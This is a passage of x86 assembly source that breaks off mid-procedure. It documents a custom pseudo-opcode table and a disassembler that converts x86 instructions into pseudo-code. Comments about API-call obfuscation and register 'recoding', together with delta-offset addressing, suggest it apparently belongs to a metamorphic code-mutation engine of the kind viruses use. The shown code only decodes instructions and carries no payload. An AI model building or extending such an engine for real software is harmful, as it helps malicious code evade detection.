;;    E9: JMP label
;;    EA: CALL Mem (used for API calls)
;;    EB: JMP Mem (used for obfuscation in API calls)
;;    EC: CALL Reg (obfuscation of API calls)
;;    ED: JMP Reg (idem)
;;
;;    F0: SHIFT Reg,Imm
;;    F1: SHIFT Mem,Imm
;;    F2: SHIFT Reg8,Imm
;;    F3: SHIFT Mem8,Imm
;;        For all SHIFTs:
;;        +07: Byte with the value of rotation/shifting
;;        +08: Operation performed: 0: ROL, 8: ROR, 20: SHL, 28: SHR
;;    F4: APICALL_BEGIN
;;        Special operation meaning PUSH EAX/PUSH ECX/PUSH EDX that avoids
;;        the recoding of these registers, always remaining the same.
;;    F5: APICALL_END
;;        The complementary of APICALL_BEGIN, it means POP EDX/POP ECX/POP EAX
;;    F6: APICALL_STORE
;;        +01: Memory address struct
;;        This always means: MOV [Mem],EAX <-- Avoiding the recoding of EAX
;;    F7: SET_WEIGHT
;;        +01: Memory address struct
;;        +07: Weight item identificator
;;        +08: Register 1
;;        +09: Register 2
;;    F8: MOVZX Reg,byte ptr [Mem]
;;        Memory address struct is a 8-bits operand, while +07 is a 32 bit reg.
;;    F9: MOVZX Reg,word ptr [Mem]
;;    FA: LINUX_GETPARAMS
;;        Special operation meaning POP EDX/POP ECX/POP EBX/POP EAX
;;    FB: Merge of INT 80h + APICALL_STORE
;;    FC: LEA
;;    FD: INT 80h (for Linux syscalls), used only on disassembly
;;    FE: RET
;;    FF: NOP
;; ---------------------------------------------------------------------------
;;
;; The decodification, as you will see, it's not arbitrary, I mean, there
;; is a reason for every format of decodification in every instruction.
;; Although many times the format is in that way due to thinking on simplicity,
;; other times I changed the format to make code reduction easier.

;;  ESI = Start of code to dissasemble
DisasmCode      proc
                xor     eax, eax
                mov     [ebp+NumberOfLabels], eax  ; Initialize the number of
                mov     [ebp+NumberOfLabelsPost], eax ; labels and the number
                                                      ; of buffered labels
                mov     ecx, 80000h/4       ; Initialize the path marks
                mov     edi, [ebp+PathMarksTable]
                xor     eax, eax
      @@LoopInitializePathTable:
                mov     [edi], eax       ; Fill all the buffers with 0
                add     edi, 4
                sub     ecx, 1
                or      ecx, ecx
                jnz   @@LoopInitializePathTable

                mov     edi, [ebp+InstructionTable]

  ;; Let's disassemble the given code address (ESI) into the buffer where we
  ;;construct the whole code in pseudoassembler (EDI)
      @@LoopTrace:
      @@CheckCurrentLabel:
                mov     eax, esi        ; Check if the current code is already
                sub     eax, [ebp+_CODE_SECTION]   ; disassembled
                sub     eax, ebp
                add     eax, [ebp+PathMarksTable]
                mov     eax, [eax]      ; If the mark in the path is != 0,
                and     eax, 0FFh       ; then it's already disassembled.
                cmp     eax, 1
                jnz   @@CheckIfFutureLabelArrived

   ;; If it's already disassembled, it's because the current code is inside
   ;; a loop, or is referenced by a label that we disassembled before. So, we
   ;; find the referenced code and we insert a JMP to there, and after that we
   ;; get a new EIP from the list of "future labels".
                mov     edx, [ebp+InstructionTable] ; Get the first instruction
        @@CheckCurrEIP_001:
                mov     eax, [edx+0Ch]   ; Search the pointer at all the
                cmp     eax, esi         ; disassembled instructions. When we
                jz    @@ItsTheCurrentEIP ; find it, we'll insert a JMP to that
                add     edx, 10h         ; instruction.
                jmp   @@CheckCurrEIP_001
        @@ItsTheCurrentEIP:
                mov     [edi+0Ch], esi  ; Set the new pointer.
                mov     eax, [edi+0Bh]  ; Get the label mark.
                and     eax, 0FFFFFF00h ; Clear it.
                mov     [edi+0Bh], eax
                mov     eax, 0E9h       ; Set the JMP to the already
                mov     [edi], eax      ; disassembled code
                mov     eax, esi
                mov     ebx, edx        ; Insert the label
                call    InsertLabel
                mov     [edi+1], edx
                add     edi, 10h        ; Increment the EIP

     ; Now get a new EIP to disassemble.
                mov     ecx, [ebp+NumberOfLabelsPost] ; Get the number of
                or      ecx, ecx  ; labels. If it's 0, we haven't more branches
                jz    @@FinDeTraduccion ; to disassemble, so we finish and
                                        ; return.
                mov     ebx, [ebp+FutureLabelTable] ; Get the table address
      @@LoopCheckOtherFutureLabel:      ; Look for a not disassembled label
                mov     eax, [ebx]
                cmp     eax, esi
                jz    @@OtherFutureLabelFound
      @@LoopSearchOtherFutureLabel:
                add     ebx, 8
                sub     ecx, 1
                or      ecx, ecx
                jnz   @@LoopCheckOtherFutureLabel
                                       ; Now we have a new EIP in ESI
                mov     ecx, [ebp+NumberOfLabelsPost]
                mov     ebx, [ebp+FutureLabelTable]
      @@LoopCheckOtherFutureLabel2:
                mov     eax, [ebx]     ; Check the other labels at the table.
                or      eax, eax       ; If we found one already disassembled,
                jz    @@LoopSearchOtherFutureLabel2 ; we eliminate it from the
                sub     eax, ebp       ; list and insert the new label in the
                sub     eax, [ebp+_CODE_SECTION]   ; table of definitive
                add     eax, [ebp+PathMarksTable]  ; labels.
                mov     eax, [eax]
                and     eax, 0FFh
                cmp     eax, 1
                jz    @@ReleaseLabelsInThatAddress
      @@LoopSearchOtherFutureLabel2:
                add     ebx, 8
                sub     ecx, 1
                or      ecx, ecx
                jnz   @@LoopCheckOtherFutureLabel2
                jmp   @@GetEIPFromFutureLabelList

       @@ReleaseLabelsInThatAddress:
                push    ebx            ; Release the label. This means store
                push    ecx            ; the labels already disassembled in the
                mov     esi, [ebx]     ; definitive label table, and all that.
                call    ReleaseFutureLabels ; It checks the current EIP in ESI.
                pop     ecx
                pop     ebx
                jmp   @@LoopSearchOtherFutureLabel2

        @@OtherFutureLabelFound:
                mov     eax, [ebx+4]    ; Set the label at the JUMP or
                mov     [eax+1], edx    ; displacement instruction
                xor     eax, eax
                mov     [ebx], eax      ; Eliminate the label from the future
                jmp   @@LoopSearchOtherFutureLabel ; label list

     @@CheckIfFutureLabelArrived:
                mov     eax, [edi+0Bh]  ; Clear the label mark...
                and     eax, 0FFFFFF00h
                mov     [edi+0Bh], eax
                call    ReleaseFutureLabels ; ...and release the temporary
                                            ; labels
      @@SigueInstr:
                mov     [edi+0Ch], esi  ; Set the current EIP at the pointer
                mov     ebx, esi        ; field.
                sub     ebx, [ebp+_CODE_SECTION]
                sub     ebx, ebp
                add     ebx, [ebp+PathMarksTable]
                mov     eax, [ebx]
                or      eax, 1
                mov     [ebx], eax      ; Mark address as already decoded

                mov     eax, [esi]      ; Get the opcode
                and     eax, 0FFh
                cmp     eax, 3Fh       ; OP Reg,Reg, Mem,Reg or Reg,Mem?
                jbe   @@GenericOpcode
                cmp     eax, 47h       ; INC Reg?
                jbe   @@Op_INC
                cmp     eax, 4Fh       ; DEC Reg?
                jbe   @@Op_DEC
                cmp     eax, 5Fh       ; PUSH Reg/POP Reg?
                jbe   @@Op_PUSHPOP
                cmp     eax, 68h       ; PUSH Imm?
                jz    @@Op_PUSHValue
                cmp     eax, 6Ah       ; PUSH sign-extended Imm?
                jz    @@Op_PUSHSignedValue
                cmp     eax, 70h       ; Short conditional jump?
                jb    @@SigueInstr_00
                cmp     eax, 7Fh
                jbe   @@Jcc
       @@SigueInstr_00:
                cmp     eax, 80h       ; Reg,Imm or Mem,Imm?
                jb    @@SigueInstr_01
                cmp     eax, 83h
                jbe   @@GenericOpcode2
       @@SigueInstr_01:
                cmp     eax, 84h        ; TEST
                jz    @@Gen_8b_MemReg
                cmp     eax, 85h        ; TEST
                jz    @@Gen_32b_MemReg
;                 cmp     eax, 86h        ; XCHG
;                 jz    @@Gen_8b_MemReg
;                 cmp     eax, 87h        ; XCHG
;                 jz    @@Gen_32b_MemReg
                cmp     eax, 8Bh        ; MOV?
                jbe   @@GenericOpcode
                cmp     eax, 8Dh        ; LEA
                jz    @@LEA
                cmp     eax, 8Fh        ; POP Mem?
                jz    @@POPMem
                cmp     eax, 90h        ; NOP?
                jz    @@NOP
;                 cmp     eax, 97h      ; Disabled instructions
;                 jbe   @@XCHGWithEAX
;                 cmp     eax, 0A0h
;                 jz    @@MOVALMem
;                 cmp     eax, 0A1h
;                 jz    @@MOVEAXMem
;                 cmp     eax, 0A2h
;                 jz    @@MOVMemAL
;                 cmp     eax, 0A3h
;                 jz    @@MOVMemEAX
                cmp     eax, 0A8h       ; TEST AL,xx?
                jz    @@TESTALValue
                cmp     eax, 0A9h       ; TEST EAX,xx?
                jz    @@TESTEAXValue
                cmp     eax, 0B0h       ; MOV Reg8,xx?
                jb    @@SigueInstr_02
                cmp     eax, 0B7h
                jbe   @@MOVReg8Value
                cmp     eax, 0BFh       ; MOV Reg,xxx?
                jbe   @@MOVRegValue
       @@SigueInstr_02:
                cmp     eax, 0C0h       ; SHIFT,1? (ROL,ROR,etc. with 8 bits)
                jz    @@BitShifting8
                cmp     eax, 0C1h       ; SHIFT,1 with 32 bits?
                jz    @@BitShifting32
                cmp     eax, 0C3h       ; RET?
                jz    @@RET
                cmp     eax, 0C6h       ; MOV Mem8,Imm?
                jz    @@MOVMem8Value
                cmp     eax, 0C7h       ; MOV Mem,Imm?
                jz    @@MOVMem32Value
                cmp     eax, 0CDh
                jz    @@Interrupt
                cmp     eax, 0D0h       ; SHIFT,x with 8 bits?
                jz    @@BitShifting8
                cmp     eax, 0D1h       ; SHIFT,x with 32 bits?
                jz    @@BitShifting32

        ;; In this gap there are obsolete instructions, copro ones and
        ;; other that we aren't going to use (for the moment), so decode
        ;; them it's not worthy.

                cmp     eax, 0E8h       ; CALL?
                jz    @@CALL
                cmp     eax, 0E9h       ; Long JMP?
                jz    @@JMP
                cmp     eax, 0EBh       ; Short JMP?
                jz    @@JMP8
                cmp     eax, 0F5h       ; CMC?
                jz    @@NOP
                cmp     eax, 0F6h       ; NOT and NEG?
                jz    @@SomeNotVeryCommon8
                cmp     eax, 0F7h
                jz    @@SomeNotVeryCommon32
                cmp     eax, 0FDh   ; One-byters that have not been decoded
                jbe   @@NOP         ; are set as NOP
                cmp     eax, 0FEh       ; INC/DEC Mem8?
                jz    @@INCDECMem8
                cmp     eax, 0FFh       ; INC/DEC/PUSH Mem?
                jz    @@INCDECPUSHMem32
                mov     eax, 0FFh       ; Set NOP if any instruction hasn't
     @@SetOneByteInstruction:           ; fit the conditions above
                mov     [edi], eax

                add     edi, 10h        ; Increase the storadge EIP and the
                inc     esi             ; disassembly EIP by 1
     @@ContinueDisassembly:
                jmp   @@LoopTrace       ; Treat next instruction

;;;; GENERIC OPCODE
; This kind of construction is very common among the opcodes. This is the way
; Intel codes the instructions that uses the Reg,Reg, Mem,Reg and Reg,Mem
; operands. The operations coded under this ones are ADD, OR, ADC, SBB, AND,
; SUB, XOR and CMP.
     @@GenericOpcode:
                and     eax, 7     ; Get the register
                cmp     eax, 3     ; Check the type of instruction. If it's
                jbe   @@Gen_NormalOpcode  ; Mem,Reg, Reg,Mem or Reg,Reg, jump.
                cmp     eax, 4     ; Check if it's an OP with AL
                jz    @@Gen_UsingAL
                cmp     eax, 5     ; Check if it's an OP with EAX
                jz    @@Gen_UsingEAX
                mov     eax, [esi] ; Check if the opcode is 0F, the opcode
                and     eax, 0FFh  ; that is used for some extended operations
                cmp     eax, 0Fh
                jz    @@Opcode0F
                jmp   @@SetOneByteInstruction ; Set the instruction.

        @@Gen_NormalOpcode:
                or      eax, eax   ; Check Mem8,Reg8
                jz    @@Gen_8b_MemReg
                cmp     eax, 1     ; Check Mem,Reg
                jz    @@Gen_32b_MemReg
                cmp     eax, 2     ; Check Reg8,Mem8
                jz    @@Gen_8b_RegMem

        @@Gen_32b_RegMem:
                mov     eax, [esi+1]
                and     eax, 0C0h
                cmp     eax, 0C0h  ; Check Reg,Reg
                jz    @@Gen_32b_ReglReg
                mov     eax, [esi]
                and     eax, 0FFh
                cmp     eax, 8Bh         ; Get the opcode
                jnz   @@Gen_32b_RegMem_0 ; If it isn't MOV, jump
                mov     eax, 40h+2       ; Set MOV Reg,Mem
                jmp   @@Gen_GenMem       ; Jump to decode the instruction
        @@Gen_32b_RegMem_0:
                and     eax, 38h         ; Get the operation in pseudo-asm
                add     eax, 2           ; Set the "Reg,Mem" mode
        @@Gen_GenMem:
                mov     edx, [edi]       ; Get the data around the pseudoopcode
                and     edx, 0FFFFFF00h  ; Set the opcode
                and     eax, 0FFh
                add     eax, edx
                mov     [edi], eax
                mov     eax, [esi+1]     ; Get the data of the x86 opcode
                and     eax, 38h         ; Get the register involved
                shr     eax, 3
                mov     [edi+7], eax     ; Store it at +7 in the pseudo-instr.
                mov     edx, esi         ; Set in EDX the offset of the memory
                add     edx, 1           ; construction
                call    DecodeMemoryConstruction ; Decode it
                add     esi, ebx         ; Add the length of the memory field
                add     esi, 1           ; to ESI
                jmp   @@NextInstruction

        @@Gen_32b_MemReg:
                mov     eax, [esi+1]   ; Get the second opcode
                and     eax, 0C0h      ; Check if it's Reg,Reg operation
                cmp     eax, 0C0h
                jz    @@Gen_32b_lRegReg ; If it is, jump to decode it
                mov     eax, [esi]
                and     eax, 0FFh      ; Get the opcode
                cmp     eax, 85h       ; Check if it's TEST
                jnz   @@Gen_32b_MemReg_0
                mov     eax, 48h+3     ; If it is, store a TEST opcode
                jmp   @@Gen_GenMem
        @@Gen_32b_MemReg_0:
;                 cmp     eax, 87h     ; This is XCHG, but we aren't using
;                 jnz   @@Gen_32b_MemReg_1 ; it, so it's disabled.
;                 mov     eax, 48h+6
;                 jmp   @@Gen_GenMem
        @@Gen_32b_MemReg_1:
                cmp     eax, 89h       ; Check if it's MOV Mem,Reg
                jnz   @@Gen_32b_MemReg_2
                mov     eax, 40h+3     ; Set MOV Mem,Reg if it is
                jmp   @@Gen_GenMem
        @@Gen_32b_MemReg_2:
                and     eax, 38h       ; Get the pseudoopcode
                add     eax, 3
                jmp   @@Gen_GenMem     ; Jump to set it and decode the rest

        @@Gen_32b_ReglReg:
                call    GenOp_SetRegReg ; Decode the Reg,Reg instruction
        @@Gen_GenReglReg:
                mov     eax, [esi+1]  ; Get the source register
                and     eax, 7
                mov     [edi+1], eax  ; Set it on the disassembly
                mov     eax, [esi+1]  ; Get the destiny register and set it
                and     eax, 38h
                shr     eax, 3
                mov     [edi+7], eax
                add     esi, 2
                jmp   @@NextInstruction

        @@Gen_32b_lRegReg:
                call    GenOp_SetRegReg ; Decode the Reg,Reg instruction
        @@Gen_GenlRegReg:
                mov     eax, [esi+1]  ; Get the registers and store them in
                and     eax, 7        ; their appropiated fields
                mov     [edi+7], eax
                mov     eax, [esi+1]
                and     eax, 38h
                shr     eax, 3
                mov     [edi+1], eax
                add     esi, 2
                jmp   @@NextInstruction

        @@Gen_8b_RegMem:
                mov     eax, [esi+1]   ; Get the OP Reg,Mem
                and     eax, 0C0h
                cmp     eax, 0C0h      ; Check first if it's OP Reg,Reg
                jz    @@Gen_8b_ReglReg ; If it is, jump
                mov     eax, [esi]
                and     eax, 0FFh
                cmp     eax, 8Ah       ; MOV Reg8,Mem8?
                jnz   @@Gen_8b_RegMem_0
                mov     eax, 40h+82h   ; Set MOV Reg8,Mem8
                jmp   @@Gen_GenMem     ; Jump to decode the memory address
        @@Gen_8b_RegMem_0:
                and     eax, 38h
                add     eax, 82h       ; Get the operation and set it
                jmp   @@Gen_GenMem

        @@Gen_8b_MemReg:
                mov     eax, [esi+1]   ; Get the operation
                and     eax, 0C0h      ; Check if it's OP Mem,Reg
                cmp     eax, 0C0h
                jz    @@Gen_8b_lRegReg ; If it is, jump
                mov     eax, [esi]
                and     eax, 0FFh      ; Get the opcode
                cmp     eax, 84h       ; If it's TEST...
                jnz   @@Gen_8b_MemReg_0
                mov     eax, 48h+83h   ; ...set it
                jmp   @@Gen_GenMem
        @@Gen_8b_MemReg_0:
;                 cmp     eax, 86h     ; This is XCHG 8 bits, but it's disabled
;                 jnz   @@Gen_8b_MemReg_1 ; because we don't use this type of
;                 mov     eax, 48h+86h    ; instructions
;                 jmp   @@Gen_GenMem
        @@Gen_8b_MemReg_1:
                cmp     eax, 88h       ; Check if it's MOV Mem,Reg
                jnz   @@Gen_8b_MemReg_2
                mov     eax, 40h+83h   ; Set it if it's MOV Mem,Reg
                jmp   @@Gen_GenMem
        @@Gen_8b_MemReg_2:
                and     eax, 38h       ; Get the OP
                add     eax, 83h
                jmp   @@Gen_GenMem     ; Set it and jump to decode the memory
                                       ; reference

        @@Gen_8b_lRegReg:
                call    GenOp_SetRegReg ; Decode the OP Reg8,Reg8 opcode
                mov     eax, [edi]      ; Set the 8 bits operation
                add     eax, 80h
                mov     [edi], eax
                jmp   @@Gen_GenlRegReg  ; Decode the rest of the instruction

        @@Gen_8b_ReglReg:
                call    GenOp_SetRegReg ; Decode the OP Reg8,Reg8
                mov     eax, [edi]      ; Set 8 bits instruction
                add     eax, 80h
                mov     [edi], eax
                jmp   @@Gen_GenReglReg  ; Decode the rest of the instruction

        @@Gen_UsingAL:
                mov     eax, [esi]    ; Get the operation
                and     eax, 38h
                add     eax, 80h
                mov     edx, [edi]    ; Set the opcode
                and     edx, 0FFFFFF00h
                add     eax, edx
                mov     [edi], eax
                xor     eax, eax
                mov     eax, [esi+1]  ; Get the Imm
                and     eax, 0FFh     ; Extend the sign
                cmp     eax, 7Fh
                jbe   @@Gen_UsingAL_01
                add     eax, 0FFFFFF00h
          @@Gen_UsingAL_01:
                add     esi, 2        ; Increase EIP and set the value
                jmp   @@Gen_SetValue

        @@Gen_UsingEAX:
                mov     eax, [esi]    ; Get the instruction
                and     eax, 38h
                mov     edx, [edi]    ; Set the opcode
                and     edx, 0FFFFFF00h
                add     eax, edx
                mov     [edi], eax
                mov     eax, [esi+1]  ; Set the value
                add     esi, 5

        @@Gen_SetValue:
                mov     [edi+7], eax
                xor     eax, eax      ; Set the register (EAX)
                mov     [edi+1], eax
                jmp   @@NextInstruction


;;;; INC Reg

    @@Op_INC:   and     eax, 7        ; Get the register of the INC
                mov     [edi+1], eax  ; Set it
                xor     eax, eax      ; Pseudoopcode (ADD)
                jmp   @@Op_GenINCDEC

;;;; DEC Reg

    @@Op_DEC:   and     eax, 7        ; Get the register of the DEC
                mov     [edi+1], eax  ; Set it
                mov     eax, 28h      ; Pseudoopcode (SUB)
         @@Op_GenINCDEC:
                mov     edx, [edi]    ; Set the pseudoopcode
                and     edx, 0FFFFFF00h
                and     eax, 0FFh
                add     eax, edx
                mov     [edi], eax
                mov     eax, 1        ; Set the value of addition/subtraction
                mov     [edi+7], eax
                add     esi, 1        ; Increase the EIP
                jmp   @@NextInstruction

;;;; PUSH Reg & POP Reg

  @@Op_PUSHPOP: and     eax, 7        ; Get the register of the opcode
                mov     [edi+1], eax  ; Set it
                mov     eax, [esi]
                and     eax, 58h      ; Get the instruction (PUSH or POP)
                mov     edx, [edi]
                and     edx, 0FFFFFF00h
                add     eax, edx
                mov     [edi], eax   ; Set it
                add     esi, 1
                jmp   @@NextInstruction

;;;; PUSH Value

  @@Op_PUSHValue:
                mov     [edi], eax   ; Set the opcode
                mov     eax, [esi+1] ; Get the value
                mov     [edi+7], eax
                add     esi, 5       ; Add the length of the instr. to the EIP
                jmp   @@NextInstruction

;;;; PUSH SignedValue

  @@Op_PUSHSignedValue:
                mov     eax, 68h     ; Set the opcode 68h
                mov     [edi], eax
                mov     eax, [esi+1] ; Get the value to PUSH
                and     eax, 0FFh    ; Extend the sign
                cmp     eax, 7Fh
                jbe   @@Op_PUSHSignedValue_01
                add     eax, 0FFFFFF00h
                ;movsx   eax, byte ptr [esi+1]
         @@Op_PUSHSignedValue_01:
                mov     [edi+7], eax ; Set the value
                add     esi, 2       ; Increase the EIP
                jmp   @@NextInstruction


;;;; GENERIC OPCODE (2nd part)
;; This opcodes are the 80h-83h ones, which are used for "OP [Mem],Value" or
;; "OP Reg,Value". Moreover, opcodes 84-85 are also decoded here (the ones that
;; make TEST).
      @@GenericOpcode2:
                and     eax, 1     ; Get if it's a 8 bits or 32 bits operation
                or      eax, eax
                jz    @@Gen2_8b    ; Jump if it's 8 bits
      @@Gen2_32b:
                mov     eax, [esi+1]    ; Get the operation performed
                and     eax, 38h
                mov     edx, [edi]      ; Set it as pseudoopcode
                and     edx, 0FFFFFF00h
                add     eax, edx
                mov     [edi], eax
                mov     eax, [esi]
                and     eax, 2          ; Get if the operation uses a DWORD or
                or      eax, eax        ; a sign-extended byte
                jnz   @@Gen2_Gen_Signed
      @@Gen32Value:
                mov     eax, [esi+1]    ; Get it we use Reg,Reg
                and     eax, 0C0h
                cmp     eax, 0C0h
                jz    @@Gen2_32b_Register
                mov     eax, [edi]      ; Get the opcode
                add     eax, 4          ; Set OP Mem,Imm
                mov     [edi], eax
                mov     edx, esi        ; Decode the memory construction
                add     edx, 1
                call    DecodeMemoryConstruction
                add     esi, ebx        ; Add the length of the rest of the
                mov     eax, [esi+1]    ; instruction to get the value OPed
                sub     esi, ebx        ; Subtract it because later we'll add
                add     esi, 3          ; it again.
                jmp   @@Gen2_Gen_Memory

      @@Gen2_32b_Register:
                mov     eax, [esi+2]    ; Get the value
                mov     [edi+7], eax    ; Set it
                mov     eax, [esi+1]    ; Get the operation opcode
                add     esi, 6          ; Add the length of the instruction
                jmp   @@Gen2_Gen_Register

      @@Gen2_8b:
                mov     eax, [esi+1]    ; Get the 2nd opcode
                and     eax, 38h        ; Extract the operation and set it as
                add     eax, 80h        ;  a 8 bits pseudooperation.
                mov     edx, [edi]      ; Set it
                and     edx, 0FFFFFF00h
                add     eax, edx
                mov     [edi], eax
      @@Gen2_Gen_Signed:
      @@Gen8Value:
                mov     eax, [esi+1]    ; Get the 2nd opcode
                and     eax, 0C0h
                cmp     eax, 0C0h       ; If we use a register, jump
                jz    @@Gen2_8b_Register
                mov     eax, [edi]      ; Set "Mem" usage
                add     eax, 4
                mov     [edi], eax
                mov     edx, esi        ; Decode the memory address
                add     edx, 1
                call    DecodeMemoryConstruction
                xor     eax, eax        ; Get the Imm of the operation in EAX
                add     esi, ebx
                mov     eax, [esi+1]
                sub     esi, ebx
                and     eax, 0FFh
                cmp     eax, 7Fh
                jbe   @@Gen8Value_01
                add     eax, 0FFFFFF00h
          @@Gen8Value_01:

      @@Gen2_Gen_Memory:
                mov     [edi+7], eax    ; Set it in the pseudoinstruction
                add     esi, ebx
                add     esi, 2          ; Increase EIP and decode the next
                jmp   @@NextInstruction ; instruction.

      @@Gen2_8b_Register:
                mov     eax, [esi+2]    ; Get the Imm and extend the sign
                and     eax, 0FFh
                cmp     eax, 7Fh
                jbe   @@Gen2_8b_Register_01
                add     eax, 0FFFFFF00h
         @@Gen2_8b_Register_01:
                mov     [edi+7], eax    ; Set it in the pseudo-instruction
                mov     eax, [esi+1]    ; Get the 2nd opcode
                add     esi, 3          ; Add the length of the instruction
      @@Gen2_Gen_Register:              ; to EIP
                and     eax, 7          ; Get the register of the instruction
                mov     edx, [edi+1]
                and     edx, 0FFFFFF00h
                add     eax, edx
                mov     [edi+1], eax    ; Set the register
                jmp   @@NextInstruction ; Decode the next instruction


;;;; LEA decoding

     @@LEA:     mov     eax, 0FCh      ; Set the pseudoopcode of LEA
                mov     [edi], eax
                mov     edx, esi
                add     edx, 1         ; Decode the memory address
                call    DecodeMemoryConstruction
                mov     eax, [esi+1]
                and     eax, 38h       ; Get the destiny register and set it
                shr     eax, 3
                mov     [edi+7], eax
                add     esi, ebx
                add     esi, 1          ; Add the length of the instruction to
                jmp   @@NextInstruction ; the EIP.

;;;; POP Mem decoding

     @@POPMem:  mov     eax, [esi+1]  ; Get the operand
                and     eax, 0C0h     ; Get if we use reg or memory address
                cmp     eax, 0C0h
                jz    @@POPMem_butReg
                mov     eax, 59h      ; If we use a memory address, set the
                mov     [edi], eax    ; opcode and decode the memory address
                mov     edx, esi
                add     edx, 1
                call    DecodeMemoryConstruction
                add     esi, ebx
                add     esi, 1
                jmp   @@NextInstruction
     @@POPMem_butReg:                 ; If it uses a register, set it
                mov     eax, [esi+1]
                and     eax, 7
                mov     [edi+1], eax
                mov     eax, 58h      ; Set the opcode
                mov     edx, [edi]
                and     edx, 0FFFFFF00h
                add     eax, edx
                mov     [edi], eax
                add     esi, 2
                jmp   @@NextInstruction

;;;; XCHG With EAX:
;; Disabled since we aren't coding XCHG

;      @@XCHGWithEAX:
;                 mov     al, [esi]
;                 add     esi, 1
;                 cmp     eax, 90h
;                 jz    @@NOP
;                 and     eax, 7
;                 mov     [edi+1], al
;                 mov     eax, 48h+5
;                 mov     [edi], al
;                 xor     eax, eax
;                 mov     [edi+7], eax
;                 jmp   @@NextInstruction

;; NOP instruction

     @@NOP:     mov     eax, 0FFh  ; Set the NOP pseudoopcode
                mov     [edi], eax
                add     esi, 1
                jmp   @@NextInstruction

;;;; MOV AL/EAX,Mem
; This one is also disabled, because we doesn't have direct memory operations
; to disassemble.
;      @@MOVALMem:
;                 mov     eax, 0C2h
;      @@MOVxAxMem:
;                 mov     [edi], eax
;                 mov     eax, 8
;                 mov     [edi+1], eax
;                 mov     [edi+2], eax
;                 xor     eax, eax
;                 mov     [edi+7], eax
;                 mov     eax, [esi+1]
;                 mov     [edi+3], eax
;                 add     esi, 5
;                 jmp   @@NextInstruction
;      @@MOVEAXMem:
;                 mov     eax, 42h
;                 jmp   @@MOVxAxMem

;;;; MOV Mem,AL/EAX

;      @@MOVMemAL:
;                 mov     eax, 0C3h
;                 jmp   @@MOVxAxMem
;      @@MOVMemEAX:
;                 mov     eax, 43h
;                 jmp   @@MOVxAxMem

;;;; TEST AL,Value decodification

     @@TESTALValue:
                mov     eax, [esi+1]  ; Get the value
                and     eax, 0FFh
                mov     ecx, eax      ; Put it in ECX
                mov     eax, 0C8h     ; Put the pseudoopcode in EAX
                add     esi, 2
     @@TESTxAxValue:
                mov     [edi], eax    ; Set the pseudoopcode
                xor     eax, eax      ; Set the register
                mov     [edi+1], eax
                mov     [edi+7], ecx  ; Set the value
                jmp   @@NextInstruction

;;;; TEST EAX,Value

     @@TESTEAXValue:
                mov     ecx, [esi+1]  ; Get the Imm in ECX
                mov     eax, 48h      ; 48h = TEST pseudoopcode
                add     esi, 5        ; Increase the EIP
                jmp   @@TESTxAxValue

;;;; MOV Reg,Value decodification

     @@MOVRegValue:
                mov     eax, 40h      ; 40h = MOV pseudoopcode
                mov     [edi], eax
                mov     ecx, [esi+1]  ; Get the value in ECX
                mov     eax, [esi]
                add     esi, 5
     @@MOVRegValue_Common:
                and     eax, 7        ; Get the register in EAX
                mov     [edi+1], eax  ; Set the register
                mov     [edi+7], ecx  ; Set the value
                jmp   @@NextInstruction
     @@MOVReg8Value:
                mov     eax, 0C0h
                mov     [edi], eax    ; C0 = MOV 8 bits
                mov     eax, [esi+1]  ; Get the Imm to move
                and     eax, 0FFh
                mov     ecx, eax
                mov     eax, [esi]    ; Get the opcode to extract the register
                add     esi, 2
                jmp   @@MOVRegValue_Common

;;;; ROL/ROR/etc. decodification

      @@BitShifting32:
                mov     eax, 0F0h     ; Pseudoopcode SHIFT
      @@BitShifting_Common:
                mov     [edi], eax    ; Set the pseudoopcode
                mov     eax, [esi+1]  ; Get the 2nd opcode
                and     eax, 38h      ; Extract the operation
                mov     edx, [edi+8]  ; Set it at +8 in the instruction
                and     edx, 0FFFFFF00h
                add     eax, edx
                mov     [edi+8], eax
                mov     eax, [esi+1]  ; Get the operand type
                and     eax, 0C0h
                cmp     eax, 0C0h
                jz    @@BS32_Reg      ; If it's a Reg, jump
                mov     eax, [edi]
                add     eax, 1
                mov     [edi], eax    ; Set SHIFT Mem,x
                mov     edx, esi
                add     edx, 1        ; Decode the memory operand
                call    DecodeMemoryConstruction
       @@BS32_Common:
                mov     eax, [esi]    ; Get the opcode
                and     eax, 0FFh
                cmp     eax, 0D0h     ; Check if it's SHIFT,1 or SHIFT,x
                jb    @@BS32_GetNumber ; If it's ,x jump
                mov     eax, 1        ; Set 1 as shifting value
                sub     esi, 1
                jmp   @@BS32_SetNumber
       @@BS32_GetNumber:
                add     esi, ebx      ; Get the value of shifting
                mov     eax, [esi+1]
                sub     esi, ebx
       @@BS32_SetNumber:
                and     eax, 1Fh      ; Trim the bits ignored implicitly
                mov     edx, [edi+7]  ; Set the shifting value (byte) at +7
                and     edx, 0FFFFFF00h  ; in the disassembly of the instr.
                add     eax, edx
                mov     [edi+7], eax
                add     esi, ebx
                add     esi, 2
                jmp   @@NextInstruction
       @@BS32_Reg:
                mov     eax, [esi+1]  ; Get the register
                and     eax, 7
                mov     [edi+1], eax  ; Set it
                mov     ebx, 1        ; Jump to finish the decoding
                jmp   @@BS32_Common

       @@BitShifting8:
                mov     eax, 0F2h     ; Set SHIFT8
                jmp   @@BitShifting_Common

;;;; MOV [Mem8],Value (or MOV Reg8,Value) decoding (opcode C6)

       @@MOVMem8Value:
                mov     eax, 0C4h     ; Set the opcode as MOV Mem8,xxx
                mov     [edi], eax
                mov     eax, [esi+1]  ; Get the 2nd opcode
                and     eax, 0C0h     ; Register or memory address?
                cmp     eax, 0C0h
                jz    @@MOVMem8_RegValue  ; If register, jump
                mov     edx, esi
                add     edx, 1        ; Decode the memory address
                call    DecodeMemoryConstruction
                add     esi, ebx      ; Add the length of the operand
                add     esi, 1
       @@MOVMem8Value_Common:
                mov     eax, [esi]    ; Get the value we are moving
                and     eax, 0FFh     ; Extend the sign
                cmp     eax, 7Fh
                jbe   @@MOVMem8Value_01
                add     eax, 0FFFFFF00h
          @@MOVMem8Value_01:
                mov     [edi+7], eax  ; Set it in the pseudoinstruction
                add     esi, 1
                jmp   @@NextInstruction
       @@MOVMem8_RegValue:
                mov     eax, 0C0h     ; C0 = MOV Reg8,Imm
                mov     [edi], eax    ; Set the pseudoopcode
                mov     eax, [esi+1]
                and     eax, 7
                mov     [edi+1], eax  ; Set the register
                add     esi, 2
                jmp   @@MOVMem8Value_Common ; Jump to finish the decoding

;;;; MOV [Mem32],Value (or MOV Reg32,Value) decoding (opcode C7)

       @@MOVMem32Value:
                mov     eax, 44h      ; 44h = MOV Mem,Imm (in our assembler)
                mov     [edi], eax    ; Set the pseudoopcode
